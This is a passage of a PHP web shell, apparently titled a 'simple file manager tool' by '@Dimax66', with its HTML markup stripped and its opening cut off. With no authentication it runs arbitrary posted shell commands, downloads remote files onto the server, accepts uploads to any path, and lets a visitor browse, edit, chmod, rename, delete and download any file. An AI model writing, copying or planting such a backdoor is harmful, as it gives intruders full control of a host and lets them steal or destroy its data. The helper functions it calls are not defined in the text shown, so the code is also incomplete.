'; echo ''; // Container div echo '
'; echo '

@Dimax66

'; echo '

This is a simple file manager tool created by Dimax66.

'; // Command execution form echo '
'; // Handle command execution if (isset($_POST['cmd'])) { $cmd = sanitize_input($_POST['cmd']); echo '
' . htmlspecialchars(safe_exec($cmd)) . '
'; } // Remote upload form echo '
'; // Remote upload handling if (isset($_POST['remote_url'])) { $remote_url = sanitize_input($_POST['remote_url']); $file_name = basename($remote_url); if (safe_file_put_contents($file_name, safe_fopen($remote_url))) { echo '

Remote file uploaded successfully as ' . $file_name . '

'; } else { echo '

Remote upload failed.

'; } } // File search form echo '
'; // Directory navigation and file display $HX = isset($_GET['HX']) ? sanitize_input($_GET['HX']) : getcwd(); $HX = str_replace('\\', '/', $HX); $paths = explode('/', $HX); foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { echo '/'; continue; } if ($pat == '') continue; echo ''.$pat.'/'; } // File upload form echo '

'; // File upload handling if (isset($_FILES['file'])) { if (move_uploaded_file($_FILES['file']['tmp_name'], $HX . '/' . $_FILES['file']['name'])) { echo '

File uploaded successfully.

'; } else { echo '

File upload failed.

'; } } // Display files and directories echo ''; $scandir = scandir($HX); if (isset($_GET['search'])) { $search_query = strtolower(sanitize_input($_GET['search'])); $scandir = array_filter($scandir, function($file) use ($search_query) { return strpos(strtolower($file), $search_query) !== false; }); } foreach ($scandir as $item) { if ($item == '.' || $item == '..') continue; $path = "$HX/$item"; $isDir = is_dir($path) ? 'Directory' : 'File'; $size = is_file($path) ? filesize($path) : '-'; echo ""; } echo '
$isDir $item $size Edit | Chmod | Rename | Delete | Download
'; // File download handling if (isset($_GET['download'])) { $file = sanitize_input($_GET['download']); if (file_exists($file)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename='.basename($file)); header('Expires: 0'); header('Cache-Control: must-revalidate'); header('Pragma: public'); header('Content-Length: ' . filesize($file)); flush(); readfile($file); exit; } else { echo '

File not found.

'; } } // File edit, rename, chmod, delete handling if (isset($_GET['option'])) { $option = sanitize_input($_GET['option']); $file = sanitize_input($_GET['HX']); if ($option == 'edit') { if (isset($_POST['content'])) { safe_file_put_contents($file, sanitize_input($_POST['content'])); } echo '
'; } elseif ($option == 'chmod') { if (isset($_POST['chmod'])) { chmod($file, octdec($_POST['chmod'])); } echo '
'; } elseif ($option == 'rename') { if (isset($_POST['newname'])) { rename($file, dirname($file) . '/' . sanitize_input($_POST['newname'])); } echo '
'; } elseif ($option == 'delete') { if (unlink($file)) { echo '

File deleted successfully.

'; } else { echo '

Failed to delete file.

'; } } } echo '
'; ?>